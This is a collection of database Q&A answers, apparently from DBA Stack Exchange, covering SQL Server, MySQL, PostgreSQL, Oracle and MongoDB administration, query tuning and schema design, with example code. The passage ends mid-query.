I ended up abandoning the INSTEAD OF INSERT trigger method initially asked about, as syncing the unique ID across the several tables otherwise was proving problematic.

My current solution, involving the MERGE syntax, which as @AaronBertrand blogged about here, may be bug-ridden.  For example, it may be subject to unexpected sessions of deadlock down the line. But the following works for now:P

CREATE TABLE TxStaging (
    [eID] [bigint] IDENTITY(1,1) NOT NULL,
    [SQueue] [varchar](25) NULL,
    [SMessageID] [varchar](50) NULL,
    [RecID] [int] NOT NULL,
    [DLOrder] [int] NOT NULL,
    [DetectionDate] [datetime2](7) NOT NULL,
    [DetectionUS] [decimal](7, 6) NOT NULL,
    [TagID] [varchar](4) NOT NULL,
    [TxAmplitude] [int] NULL,
    [TxOffset] [int] NULL,
    [TxNBW] [int] NULL,
    [TxChkSum] [varchar](25) NULL,
PRIMARY KEY CLUSTERED ( [eID] ASC )
WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF,
      IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON,
      ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
GO

CREATE TABLE [dbo].[StQueue](
    [eID] [bigint] /*IDENTITY(1,1)*/ NOT NULL,
    [SQueue] [varchar](25) NULL,
    [SMessageID] [varchar](50) NULL,
    [DLOrder] [int] NOT NULL,
PRIMARY KEY CLUSTERED ( [eID] ASC )
WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF,
      IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON,
      ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
GO

CREATE TABLE [dbo].[StDets](
    [eID] [bigint] /*IDENTITY(1,1)*/ NOT NULL,
    [RecID] [int] NOT NULL,
    [DetectionDate] [datetime2] NOT NULL, --(7)?
--  [DetectionUS] [decimal](7, 6) NULL,
    [TagID] [varchar](4) NOT NULL,
PRIMARY KEY CLUSTERED ( [eID] ASC )
WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF,
      IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON,
      ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
GO

CREATE TABLE [dbo].[StDetMeta](
    [eID] [bigint] /*IDENTITY(1,1)*/ NOT NULL,
    [TxAmplitude] [int] NULL,
    [TxOffset] [int] NULL,
    [TxNBW] [int] NULL,
    [TxChkSum] [varchar](25) NULL,
    [NeworDup] int NULL, --unevaluated = NULL; New = 0; Duplicated_in_this_staging_table = 1; Duplicated_in_main_table = 2
PRIMARY KEY CLUSTERED ( [eID] ASC )
WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF,
      IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON,
      ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
GO

CREATE VIEW InsertView as
SELECT
    [SQueue],
    [SMessageID],
    [RecID],
    [DLOrder],
    [DetectionDate],
    [DetectionUS],
    [TagID],
    [TxAmplitude],
    [TxOffset],
    [TxNBW],
    [TxChkSum]
FROM TxStaging
GO

ALTER PROCEDURE [dbo].[usp_PropegateSubTables]  --CREATE or ALTER
AS BEGIN
    MERGE INTO realtimetest.dbo.StQueue WITH (HOLDLOCK) as T
        USING realtimetest.dbo.TxStaging as S on T.eID=S.eID
        WHEN MATCHED THEN
            UPDATE SET T.SQueue=S.SQueue, T.[SMessageID]=S.[SMessageID], T.[DLOrder]=S.[DLOrder]
        WHEN NOT MATCHED BY TARGET THEN
            INSERT (eID, [SQueue], [SMessageID], [DLOrder])
            VALUES (S.eID, S.[SQueue], S.[SMessageID], S.[DLOrder]);
    MERGE INTO realtimetest.dbo.StDets WITH (HOLDLOCK) as T
        USING realtimetest.dbo.TxStaging as S on T.eID=S.eID
        WHEN MATCHED THEN
            UPDATE SET T.RecID=S.RecID, T.DetectionDate=DATEADD(mcs,CAST(S.DetectionUS*1000000.0 as INT),S.DetectionDate), T.TagID=S.TagID
        WHEN NOT MATCHED BY TARGET THEN
            INSERT (eID, RecID, DetectionDate, TagID)
            VALUES (S.eID, S.RecID, DATEADD(mcs,CAST(S.DetectionUS*1000000.0 as INT),S.DetectionDate), S.TagID);
    MERGE INTO realtimetest.dbo.StDetMeta WITH (HOLDLOCK) as T
        USING realtimetest.dbo.TxStaging as S on T.eID=S.eID
        WHEN MATCHED THEN
            UPDATE SET T.[TxAmplitude]=S.[TxAmplitude], T.[TxOffset]=S.[TxOffset], T.[TxNBW]=S.[TxNBW], T.[TxChkSum]=S.[TxChkSum]
        WHEN NOT MATCHED BY TARGET THEN
            INSERT (eID, [TxAmplitude], [TxOffset], [TxNBW], [TxChkSum])
            VALUES (S.eID, S.[TxAmplitude], S.[TxOffset], S.[TxNBW], [TxChkSum]);
END
GO

Python code to fill TxStaging and then the child tables (has some other Try: type logic not included here)

tname = 'InsertView'
fname = 'S:/path/to/In.csv'
fieldSep = ','
linestart = 1
ename = 'S:/path/to/In.err'
sqlconn.execute_non_query("BULK INSERT {} FROM '{}' WITH ( FIELDTERMINATOR = '{}', ROWTERMINATOR = '{}', MAXERRORS = 1024, FIRSTROW = {}, KEEPNULLS, ERRORFILE = '{}', TABLOCK )".format(tname, fname, fieldSep, chr(10), linestart, ename))
procObj = sqlconn.init_procedure('usp_PropegateSubTables')
procObj.execute()
qstring = "DELETE FROM {}".format(tname) #TO DO: should check for presence of error file before going ahead and deleting this table.
    # clear table/view after propagated, but leave counter valid. Don't use TRUNCATE for this reason
    # TRUNCATE could be used if proceeded by a "check max eID" and then a `DBCC checkident(tname, RESEED, @maxeID)`
sqlconn.execute_non_query(qstring)


Convert Varchar To Datetime and Add Seconds

Let me know how this works for you.

CREATE TABLE #t (callstarttime VARCHAR(255), callduration INT);
INSERT #t ( callstarttime, callduration )
SELECT *
FROM (
VALUES('20180101215910', 120),('20180101215710', 220)
) AS x (callstarttime, callduration);

WITH munge AS (
SELECT *,
    LEFT(callstarttime, 8) AS d,
    STUFF(STUFF(SUBSTRING(callstarttime, 9, LEN(callstarttime)) , 3, 0, ':'), 6, 0, ':') AS t
FROM #t AS t
)
SELECT *,
       TRY_CONVERT(DATETIME, d + ' ' + t),
       DATEADD(SECOND, munge.callduration, TRY_CONVERT(DATETIME, d + ' ' + t))
FROM munge


The files should go away on their own after a checkpoint or two (if there is little activity, it might take longer for the files to go away.  If they were renamed already in anticipation of being recycled back when the server was very active, they won't go away until they get re-used).  If you don't want it to use up to 1GB of WAL, then you should lower "max_wal_size".  Otherwise, it might do what you gave it permission to do.


SQL Server space in MDF file with multiple files and one Primary file

Yes, you can go ahead with that.

Limit the other secondary files (Disable Autogrowth) and create new ndf file in the new drive. This will resolve your space issue.


How to translate SQL Server stored procedure into Oracle stored procedure?

FYI, you can access the following link and convert your block code from SQL to Oracle.

http://sqlines.com/online


Are queries called parallel or in sequence?

With autocommit = ON, the two queries will run one after the other.

With

BEGIN;
some stuff
that UPDATE
more stuff
ROLLBACK; -- either explicitly, or because of some error

the UPDATE will be undone.

Check for errors after every query.

(If this does not suffice, please provide more info.)


How to transfer table in SQL Server 2008 from one computer to another

There are many ways, you could:

1) Dettach the database and copy the database files (mdf and ldf) over to the other computer then attach it.

2) Backup the database to a .bak file, copy that over and restore on the other computer.

3) Use the Import Export wizard to move just the table into a new database on the other computer.

4) If you need to do this regularly then maybe you could write an SSIS package to do it.

The easiest way is option 1.


Because MongoDB automatic failover works election system. When the election system wants to decide a new primary node, it needs a qualified majority from secondary nodes or arbiter.
If you want to run a replica set of just two nodes, you should use the arbiter. The arbiter node resource cheaper than the other nodes.
Check out PSA in the document.
Priority means;

The value of the member’s priority setting determines the member’s
priority in elections. The higher the number, the higher the priority.

Imagine, running with 3 nodes replica set, one of them going down, and the other two nodes hast to decide a new primary. When they doing that check out their priority.

The priority settings of replica set members affect both the timing
and the outcome of elections for primary. Higher-priority members are
more likely to call elections, and are more likely to win. Use this
setting to ensure that some members are more likely to become primary
and that others can never become primary.

Otherwise, you should take a look at this document.


SET SINGLE_USER means only one user can connect to the database at a time. If someone or some service (SSIS, SSRS, SQL Agent, etc) connects before you than you will have to wait for them to disconnect


Why does a WHERE clause with an indexed, computed datetime column on an indexed view seek the clustered index on the original table

SQL Server expands the view and considers accessing the base tables instead. If the view or the base tables are used is a cost based decision by the optimizer.

To force SQL Server to use your indexed view you should use the noexpand hint.

SELECT *
from [AggregatedDateView] WITH(NOEXPAND)
where [DateColumn] > '2016-05-20' AND
      [DateColumn] < '2016-08-20'


How do I generate a SQL script from my diagram in MySQL Workbench?

See File -> Export -> Forward Engineer SQL Create Script...


What's the difference between functions and stored procedures?

A function attempts to return something, always, and has several restrictions - for example, you can not have any side effects, so you can't issue DML, call stored procedures, use dynamic SQL, call NEWID(), etc. You also cannot have error handling, transactions, or non-deterministic functions (e.g. GETDATE() in older versions, at least in SQL Server 2000 - though there are workarounds for this) defined inside a function.

There are several types of functions, mainly scalar and table-valued functions. Scalar functions can be called inline, e.g.

CREATE FUNCTION dbo.PrettyDate(@d DATETIME)
RETURNS CHAR(10)
AS
BEGIN
    RETURN(SELECT CONVERT(CHAR(10), @d, 120));
END
GO

DECLARE @Date DATETIME = CURRENT_TIMESTAMP;
SELECT dbo.PrettyDate(@Date);

Results:

----------
2012-03-14

Table-valued functions need to be called a little differently, since they act essentially like a parameterized view. For example:

CREATE FUNCTION dbo.DatesInRange
(
  @StartDate DATETIME,
  @EndDate   DATETIME
)
RETURNS TABLE
AS
  RETURN (SELECT [date] = DATEADD(DAY, n-1, @StartDate)
    FROM (SELECT n = ROW_NUMBER() OVER (ORDER BY [object_id])
      FROM sys.objects) AS x
      WHERE n <= DATEDIFF(DAY, @StartDate, @EndDate) + 1
  );
GO

SELECT [date]
  FROM dbo.DatesInRange('20120101', '20120105')
  ORDER BY [date];

Results:

date
-----------------------
2012-01-01 00:00:00.000
2012-01-02 00:00:00.000
2012-01-03 00:00:00.000
2012-01-04 00:00:00.000
2012-01-05 00:00:00.000

A stored procedure does not necessarily return data, but it can return more than one resultset. It can be used to affect data (update/insert/delete) and other side effects, can contain dynamic SQL, can have transactions, can have error handling, do not have restrictions about non-deterministic functions, and can call other stored procedures.

EDIT

I am not quite sure what you mean by "function does not store in database." When you create either a stored procedure or a function, its definition is most certainly stored in the catalog view sys.sql_modules, and a reference to the module is created in sys.objects. There is a separate catalog view for stored procedures (sys.procedures) but there isn't an equivalent view for functions - you can still find those in sys.objects with types such as IF, FN and TF.

I will come back on the compile part of the question.


SQL Server sp_describe_first_result_set: find user defined types

This appears not to work as advertised. Temporary tables are disallowed, but table variables should work just fine. Alias types are a bit of an edge case, so perhaps a bug crept in here unnoticed. If it is a blocker for you, open a support case with Microsoft.
There aren't any perfect workarounds (that I am aware of). One of the best ones is to create a wrapper procedure that uses WITH RESULT SETS to define the output shape:
CREATE TYPE dbo.udtTest FROM nvarchar(123) NOT NULL;
GO
CREATE OR ALTER PROCEDURE dbo.P AS
SET NOCOUNT ON;
DECLARE @T TABLE (udt dbo.udtTest);
INSERT @T VALUES (N'Banana');
SELECT T.udt FROM @T AS T;
GO
-- No user type info
EXECUTE sys.sp_describe_first_result_set
    @tsql = N'EXECUTE Sandpit.dbo.P;',
    @parameters = NULL,
    @browse_information_mode = 0;

-- Wrapper for dbo.P
CREATE OR ALTER PROCEDURE dbo.P_Wrapper AS
SET NOCOUNT ON;
EXECUTE dbo.P
    WITH RESULT SETS ((udt dbo.udtTest NOT NULL));
GO
-- Works!
EXECUTE sys.sp_describe_first_result_set
    @tsql = N'EXECUTE dbo.P_Wrapper;',
    @parameters = NULL,
    @browse_information_mode = 0;

This may or may not be convenient or practical for you. It's probably the best we can do until the bug (?) is fixed, or Microsoft extend CREATE PROCEDURE syntax to include WITH RESULT SETS, as we have been asking for a long time now.


How do I check if a stored procedure is defined in MySQL

You should run these other queries
SHOW PROCEDURE STATUS WHERE name='sp_name';
SHOW FUNCTION STATUS WHERE name='sp_name';
SELECT type,db,body FROM mysql.proc WHERE name='sp_name'\G

If the procedure does not show up from any of these queries, my condolences.
There is one hope left: If you have a physical backup of the mysql.proc, do this in a Staging DB:

service mysql stop
Copy the backup of /var/lib/mysql into the Staging DB
chown -R mysql:mysql /var/lib/mysql
service mysql start

Once you do that, you can mysqldump all the stored procedures out of it with
MYSQLDUMP_OPTIONS="-uroot -p..."
MYSQLDUMP_OPTIONS="${MYSQLDUMP_OPTIONS} --all-databases"
MYSQLDUMP_OPTIONS="${MYSQLDUMP_OPTIONS} --routines"
MYSQLDUMP_OPTIONS="${MYSQLDUMP_OPTIONS} --no-data"
MYSQLDUMP_OPTIONS="${MYSQLDUMP_OPTIONS} --no-create-info"
mysqldump ${MYSQLDUMP_OPTIONS} > MySQLStoredProcs.sql

Now, go vi or nano the file and get the Stored Procedure out of it.
Give it a Try !!!
UPDATE 2013-02-05 11:58 EDT
If you are really having problems with visually seeing the Stored Procedure's code, you may have a corrupt proc.MYD file. Try retrieving from backup as I already mentioned.


There are many good schema comparison tools out there. Redgate Schema Compare and SQL Server Data Tools for Visual Studio are two that come to mind (I'm not affiliated with either).

In a development environment, create two databases which match the the current "live" schema. Deploy your changes to one database only. Use the tool to compare the updated DB to the current DB. Call the generated script "Deploy.sql" or something similar. Now use the tool to compare current to updated -- NB the order has switched. Call the generated script "Rollback.sql".

An important aspect of both roll-forward and roll-back scripts is that they should be idempotent i.e. running the script once or multiple times against the same DB should produce the same output. Generally this requires a lot of "if exists .." statements. The tools can generate these for you.

If space is tight you can use the actual production database as the "current" DB. I prefer not to because of the (small) extra load and the (small) risk of mistakes.


Strange behaviour in TSQL function (parameter with int variable or NULL behaves differently)?

I think you're trying to solve for the wrong problem. As I suggested above, I think you're getting different results simply because you currently have different plans (one for the literal and one for the variable). The plan you're currently getting that causes an error is attempting the cast before the rows are filtered out, but both methods could cause an error if the plan that currently "works fine" gets recompiled.

What you should be doing is using a CASE expression to ensure that only numeric values that can be cast to an INT are actually attempted to be converted. You need to control this explicitly because you can't always rely on SQL Server filtering rows before attempting calculations.

In 2012 and up, you can simply replace this:

(CONS.IDp = CAST(UFCFD.Value1 AS INT))

With this:

(CONS.IDp = TRY_CONVERT(INT, UFCFD.Value1))

If you also have to support older versions, you can do this (since we know ISNUMERIC() is not enough):

(CONS.IDp = CASE
  WHEN UFCFD.Value1 NOT LIKE '%[^0-9]%'
  AND
  (
    LEN(UFCFD.Value1 < 11
    OR
    (
      LEN(UFCFD.Value1) = 11
      AND LEFT(UFCFD.Value1,1) IN ('0','1','2')
    )
  ) THEN CONVERT(INT, UFCFD.Value1) END)

A CASE expression is pretty reliable for forcing SQL Server to evaluate expressions in a particular order, but do note that there are exceptions.


Postgres function/procedure won't return value

may I just clarify that the only difference between a function and a procedure is indeed the support for transactions?

No, the biggest difference is that functions are intended to return something while procedures are not.
In PL/pgSQL, the result of a SELECT statement needs to be stored somewhere (which is what the error message is telling you).
Variables are not defined with a $ so the second $user$ ends the string started with the first $user$ which is why you get the first error.
So the correct way to write this would be:
CREATE OR REPLACE FUNCTION dev.get_user()
  RETURNS VARCHAR AS $user$
declare
  l_user varchar
begin
  select current_user
     into l_user;
  return l_user;
end;
$user$
language plpgsql;

The SELECT isn't really necessary, you can assign a variable directly if you call a function (which current_user is):
begin
   l_user := current_user
   return l_user;
end;

The assignment using := is faster then a SELECT .. INTO.

Note that the whole function can be simplified to:
CREATE OR REPLACE FUNCTION dev.get_user()
  RETURNS VARCHAR
AS
$user$
  select current_user;
$user$
language sql;

For more details see the PL/pgSQL reference


Oracle - MUST_RENAME_THIS_LOGFILE in logfile name

Restore + recovery from backup does not use online redo logs. Your redo logs were just named something, but those files do not exist yet. A physical standby database also does not use online redo logs (it uses standby redo logs).

The redo log groups will be automatically cleared (rename according to OMF + create the file) whenever they are needed the first time. Like when you actually open the database in READ WRITE mode after converting the physical standby into a primary database or snapshot standby or logical standby.

+FRA/MOOTDB/ONLINELOG/group_1.287.1040583755 is also incorrect. At this point that file does not exist and the location of that file, once cleared, will be +FRA/MOOTSTB/ONLINELOG/... as the db_unique_name on the standby site is MOOTSTB. (Assuming you have an FRA diskgroup there.)

With the db_create_file_dest, db_create_online_log_dest_N, db_recovery_file_dest parameters set properly, you can simply clear the logfile groups manually (what would be done automatically anyway when required), so they will be named and placed correctly:

alter database clear logfile group 1;
alter database clear logfile group 2;
alter database clear logfile group 3;
alter database clear logfile group 4;
alter database clear logfile group 5;
alter database clear logfile group 6;

The tempfile named +DADOS is also not a problem. A physical standby in mount stage does not require a tempfile. The tempfile will be automatically renamed and created once the database is opened.


Is there a negative effect if I place an index on every column in a wide table?

It sounds like this is more of a DataWarehouse workload than an OLTP.
In that case, heavily indexed tables are normal.

Keep in mind a couple of things, when you do your nightly loads, drop the indexes first then reindex after. Also, there will be a higher storage cost but generally this wont be a problem (but be aware of it).

I know your using 2008R2 but FYI, I believe the new columnstore indexes in 2012 shine against this type of workload. If you can't get the performance you want out of 2008R2 consider testing with this index technology on 2012.

Finally, you could monitor the index usage for the first few days/weeks There are missing index scripts and unused index scripts, that can be run on this table once the user query pattern is determined.


Oracle custom week of the year numbering based on first Monday of the year

ISO Definition is here, You need to check if Jan-01 is Monday, if it is, then you can use ISO week format model 'IW'. If it isn't you can still use that but subtract 1 from that value.

WITH x AS (SELECT to_char(trunc(SYSDATE,'YYYY'),'DY') y_b FROM dual)
,y AS (SELECT to_date('01-05-15','mm-dd-rr') AS d FROM dual UNION ALL
       SELECT to_date('01-12-15','mm-dd-rr') AS d FROM dual UNION ALL
       SELECT to_date('01-19-15','mm-dd-rr') AS d FROM dual)
SELECT y.d your_date
      ,CASE WHEN x.y_b = 'MON'
            THEN to_number(to_char(y.d,'IW'))
            ELSE   to_number(to_char(y.d,'IW'))-1
        END week_num
FROM x,y;

I tested briefly and it looks ok to me, but you should test as well.


simply, use only one table with a column isclient, which determines if you can log in.
Or if you have lots of more columns for a client a column clientid, which is Null if user is no Client and else use the  unique id to the table with clientmoreinformation.
Generally don't have redundant columns or tables.


SQL Server: Understanding log ship utility: sqllogship.exe

In order to change the settings, you don't alter the job directly. Go to the primary database in the log shipping setup in SSMS, right click, choose tasks, then ship transaction logs.

Click on the button highlighted, which will take you to the following screen:-

This screen will allow you to change the UNC path to an IP address


The only way around it is to refactor the query so as to alter the order of the EXPLAIN plan.
EXAMPLE : On May 16, 2011, I once answered a very rough question on StackOverflow
Fetching a Single Row from Join Table

Question : I had to join tables together and return only the 40 most recent results.
My Answer : I proved that you can do a JOIN on tables with large rows and get results fast.
How I did it : I had applied principles of refactoring queries I learned from a Youtube Video.

Basically, you have to construct the query so that JOIN clauses are done last. Consequently, this implies that you must get the LIMIT executed beforehand.


Finding the last command issued by a blocking process

2) How can I find out the last command of the sleeping process?

You can use Adam Machanic's sp_whoisActive tool to find the lead blocker.

You can also use DMV's (starting sql 2005 and up) to find out what the spid was executing :

-- You can use "most_recent_sql_handle" in sys.dm_exec_connections to see the last statement that was executed.
SELECT  c.session_id, t.text,
            QUOTENAME(OBJECT_SCHEMA_NAME(t.objectid, t.dbid)) + '.'
            + QUOTENAME(OBJECT_NAME(t.objectid, t.dbid)) proc_name,
            c.connect_time,
            s.last_request_start_time,
            s.last_request_end_time,
            s.status
    FROM    sys.dm_exec_connections c
    JOIN    sys.dm_exec_sessions s
            ON c.session_id = s.session_id
    CROSS APPLY sys.dm_exec_sql_text(c.most_recent_sql_handle) t
    WHERE   c.session_id = -- spid for the spid involved in blocking

-- for any OPEN Transactions, you can use `sys.dm_tran_session_transactions` and `sys.dm_tran_active_transactions`

SELECT  st.transaction_id,
        at.name,
        at.transaction_begin_time,
        at.transaction_state,
        at.transaction_status
FROM    sys.dm_tran_session_transactions st
JOIN    sys.dm_tran_active_transactions at
        ON st.transaction_id = at.transaction_id
 WHERE   st.session_id = -- spid for the spid involved in blocking

Refer to :

Understanding and resolving SQL Server blocking problems
Different Status of a SPID in SQL Server and What do they mean
Locking in Microsoft SQL Server (Part 4 – How to detect blocking)

Alternatively, you can use a mix of Event Notification or Profiler with Blocked process report to detect blocking on your database server.


As spaces can be freely used in SQL, maybe you have some non-printable characters in your code. This problem usually relates to using Windows and/or word processors for programming. How (using what program) did you write your code?

Always use an editor designed for programming and always save in 'text only' mode or something similar. If you are in Windows, you can use Notepad (until you get a better editor which is out of scope here), copy-paste your code there and save it.


Need more info like SELECT @@VERSION, do you use CLR procs, have you set max memory on both the instances? Were you able to look at which spids were taking most resources and why?

To catch the intermittent cpu spikes, you may have to setup a trace and here is one such script.

http://www.sqlsoldier.com/wp/sqlserver/catchingtransientcpuspikesusingsqltrace


MySQL/MariaDB connection in asp code encodes wrongly charset utf8 at insert or update in data base

I had <%@language="VBSCRIPT" CODEPAGE="1252" LCID=1033%> and needed <%@language="VBSCRIPT" CODEPAGE="65001" LCID=1033%> for it to work. Also, after doing this I needed to drop charset=utf8 from the connection string.


Upgrade SQL Server database Using Compatibility Level

Compatibility level simply changes the language syntax that is supported by the SQL Statements.  This will cause all the execution plans to be expired and force them to be recompiled.  It has nothing to do with the data storage engine or the way that the data is written to the disk.

Once a database is attached to a SQL 2012 instance, it is in the SQL 2012 storage format and can't be moved back to an older version of SQL (no matter what setting the compatibility level is set to).

The link provided by @Shark (http://msdn.microsoft.com/en-us/library/bb510680%28v=sql.110%29.aspx) in the comments provides some additional reading on the subject.


If diskgroup DATA already exists in you ASM instance, the correct syntax is:
BACKUP AS COPY DATABASE FORMAT '+DATA';

regards
Giova


How calculate per tenant disk usage in a multitenant database with tenant_id columns in postgresql

Assuming that the average size of a single row is somewhat comparable between tenants, something like the following:

select tenant_id,
       pg_total_relation_size('the_table')::decimal * (count(*)::decimal / (select count(*) from the_table)) as approx_tenant_size
from the_table
group by tenant_id;

That will calculate size per tenant based on the percentage of rows for that tenant.

This will however return completely wrong estimates if you have large text or varchar columns and some tenants only store short values in there and some really large values.


Limit does have an impact on how many rows are selected/affected. 543 is just the number of rows which match the joins and the where clause.


What order does Oracle's EXIST condition compare the sub-query results?

I would advise, don't try to out-think the optimizer like this. It doesn't always execute your query how you think it would be done based on how you wrote it. It may be able to take advantage of indexes or alternate join paths. And as mathguy said above, the difference between EXISTS and IN is much better than it used to be.

I would actually expect if you add an ORDER BY clause to your query, it might make it worse, because the entire result set might have to be retrieved, ordered, then checked against the EXISTS clause. But really, there's no way to know without an execution plan.

Just write your query so it retrieves the data you need, test it, then optimize it only if you need to. To quote Donald Knuth, "Premature optimization is the root of all evil."


No...
MySQL time zone support includes only a global default time zone and a per-connection time zone.  Since any given connection can dynamically USE (as default) any database for which it has privileges, or no database at all, and tables within a single query can cross databases, the concept of a per-database timezone wouldn't be particularly meaningful, much less unambiguous.
...but...
However, if your setup script sets the time zone in its session before defining the scheduled event, that time zone will be used by the scheduler to transform the time you requested the scheduled event into UTC.

Times in the ON SCHEDULE clause are interpreted using the current session time_zone value. This becomes the event time zone; that is, the time zone that is used for event scheduling and is in effect within the event as it executes. These times are converted to UTC and stored along with the event time zone in the mysql.event table. This enables event execution to proceed as defined regardless of any subsequent changes to the server time zone or daylight saving time effects.
— http://dev.mysql.com/doc/refman/5.6/en/create-event.html


Large Pages change allocation of memory from 4KB to 2MB (normally), which means that the TLB (translation look-aside buffer) is improved in the CPU increasing the performance.

I've successfully used Trace flag 834 on production server in VMware for over a year. One important part before enable trace flag is that in VMware you should reserve at least the amount of memory dedicated to SQL Server, this is because the lock-pages in memory privilege required to enable large pages, "locks" the memory so it can't be swapped (paginated) to disk. So if the balloning driver kicks in, it won't try to force to reclaim memory from SQL Server.

Additionally the host should not be overcommitted in memory, if so it will degrade performance.

It should be carefully tested if there is a performance gain, so if unsure, just don't enable it. Also I have read that "Large Pages May Be Harmful on NUMA Systems" but I'm not sure if it applies to Windows/SQL Server

Trace flag 834 applies only to 64-bit versions of SQL Server. You must have the Lock pages in memory user right to turn on trace flag 834. You can turn on trace flag 834 only at startup.


The error you're getting is that you are using an alias that is defined after the table you're currently referencing. In this instance, you will need to change the order of your tables as mentioned by Mark in the comment.

You can use a CROSS APPLY which is more similar to an INNER JOIN, or you can use an OUTER APPLY which is more similar to an OUTER JOIN.
Based on the syntax of your query above, my guess is that you are wanting a CROSS APPLY.

To echo Mark,

FROM dbo.Users AS u
CROSS APPLY dbo.UserData(u.UserID) AS data


Modeling a database for easy counting / reporting

I think the essential approach should be to keep it simple. It will save you frustration and unplanned maintenance. The table design is simple a parent (users) and a child (actions) with a one-to-many foreign key relationship. The data you need will be easy to query.

Lets assume active user actions are 500 users 20 actions 100 per day for 30 days. That's about 30 million rows, a regular day's work for a database.

It sounds like you are most comfortable with a standard SQL relational database. That approach is also widely used, with good community and tool support, and easily maintainable.

So you have a simple design, a feasible architecture, and good comfort level with a SQL relational database. Go with that.


Easiest way is to

enable TF 3004 and 3605 (turn them off when done)
Create a dummy database
Check in error log for "SQL Server is zeroing out ..."

SQL Server 2016 will log the message by default when Instant file Initialization is enabled ... instant file initialization is enabled

Obviously, you can use xp_cmdshell whoami /priv or tsql way.

Good PFE blog reading : How and Why to Enable Instant File Initialization


Are unfixable spatial index corruptions considered normal?

I could not immediately reproduce this on 2014 - 12.0.4213.0 but do see it on SQL Server 2016 (CTP3.0) - 13.0.700.242.

On the 2014 build (with no DBCC errors) the plan looks as follows.

And on the 2016 build (with DBCC errors reported) like this.

The second plan has a single row coming out of the merge anti semi join, the first plan zero rows.

The join predicates are different with respect to what is matched to the pk0 column in the spatial index.

The first one correctly maps it to the table Primary Key, The second maps it to the Id column returned from the TVF.

According to the SQL Server 2012 internals book this is a binary(5) value for the Hilbert number of the cell so this predicate certainly is incorrect (If the Id of the single row in the base table is set to 1052031049 instead of 20171 I no longer see any DBCC errors as this happens to correspond to this value of 0xa03eb4b849).

On 2014 - 12.0.4213.0 after re-creating the table as follows I could reproduce the problem.

CREATE TABLE dbo.Cities(
    Id int  NOT NULL,
    Position geography NULL,
 CONSTRAINT PK_Cities PRIMARY KEY CLUSTERED
(
    Id ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)
)

(Note the change from ID to Id)

My 2014 instance is installed with Case Sensitive collation. So it looks as though this may have prevented the column confusion before.

So I guess a potential workaround might be to rename the column in Cities as CityId for example.

Connect Item (Microsoft bug report)


What kind of hardware/software config should I look at for a MySQL database with 10,000 plus tables

welcome to the dba.StackExchange.com website, and it looks like you've got quite a pickle. So before I answer the question that you posed, I'll mention some details to (hopefully) get you off to a good start:

10,000 tables in a database are always wrong.

I take that back. If you had all of the Microsoft or IBM corporate databases on one server, 10k tables might be appropriate. However, the data aggregate that outlines is enormous. So we'll overlook the "it's possible to be right" and stick with the 99% of statistical non-outliers. For all intents and purposes if you suggest 10,000 tables to a dba, they will laugh at you.

I'm going to hazard a guess that your tables look like: (I don't mean the exact structure, I mean the concept of the structure)

website1_articles
website1_navigation
website1_overhead
website1_blogs
website2_articles
website2_navigation
website2_overhead
website2_blogs
.......
website375_articles
website375_navigation
website375_overhead
website375_blogs

which would (for this very simplistic example) yield me right at 1500 tables. But if you'll notice, the only thing that changes on each one is the website ID.

I could instead normalize to include a website ID on each record and reduce the entire mess to four tables.

Now, I know what you're thinking:

  "But that means I have to redo my entire database architecture, and it will ruin everything."

OR you're thinking:

  "But that will destroy the security, because then anyone could read anyone else's website information"

But really a) you've already killed the database by suggesting 10k tables, and b) this is in no way different than what you're suggesting.

Of course, it's entirely possible I'm wrong here, but anytime anyone suggests 10k tables, this is the course they're taking. And it's wrong.

So here's my bit of teaching for the day:

SQL is about sets. You should really consider that the power of SQL is in its ability to handle sets quickly and easily, and in the ability of the language to parse for the relevant matches to a set of query parameters. What this means for you is that the intent of SQL is to have one massive table of all blog posts (to pull a single example, that may or may not be appropriate) and to select the matching blog posts from the table by query.

Additionally, you ask about open files, but that's just it, by doing what I suggest above, you have at most four tables to worry about open files on. And it's "how the big boys generally solve this problem" if you're really curious.

But the fact that you're asking about open files and other micro-optimizations leads me to think that

The real point I'm trying to make here is this: Don't try to re-engineer the database according to what you think would make it optimized, because you're not a database engineer.

While this may seem to be a bit harsh, it's not. I assure you. If you were a database engineer, or worked on a database core-development team, you would already know the answers to the questions. Thus QED. But you have to understand that this is what it sounds to an experience DBA like what you're doing; this trying to optimize the database by theory rather than rational approach.

Now, having said all that, and having been a bit harsh, and having seemed to reject your request outright, I'ld like to ask for more details so I can really focus on answering the question you've asked, altho, if I can hazard a guess, you've gone and ignored everything I've had to say after the second paragraph.

So with that in mind, here's what would make this question a little more answerable:

What platform are you running this on? How many disks are there? What size and speed are they? What version of the OS? If Linux, what distro do you intend on running? Will this be in a VM? Will it be supported for updates in the future or do you need a prop-once and forget box? (meaning negligible long term support budgeting)

And if I may ask, what framework are you using for this database that it will have 10k tables? I ask for personal curiousity.


Optimizing DELETE Query on MySQL MEMORY Table

I would probably convert your Memory table to InnoDB

ALTER TABLE session ENGINE=InnoDB

for your situation. Memory tables shine for low writes, many-reads that you don't care if  you lose the data (loading configuration values, for instance). But when you start writing a lot, the table locks kill you if you have many connections accessing it:

  Despite the in-memory processing for MEMORY tables, they are not necessarily faster than InnoDB tables on a busy server, for general-purpose queries, or under a read/write workload. In particular, the table locking involved with performing updates can slow down concurrent usage of MEMORY tables from multiple sessions. [src]

Tracking of session data may seem like a good candidate because of not caring of the data-loss, but I think you might gain significant benefit of removing table locks by switching to InnoDB in this case.


SELECT
  Number,
  CAST(LOG(Number, 10) AS VARBINARY) AS LogAB,
  CAST(LOG10(Number) AS VARBINARY) AS LogTen,
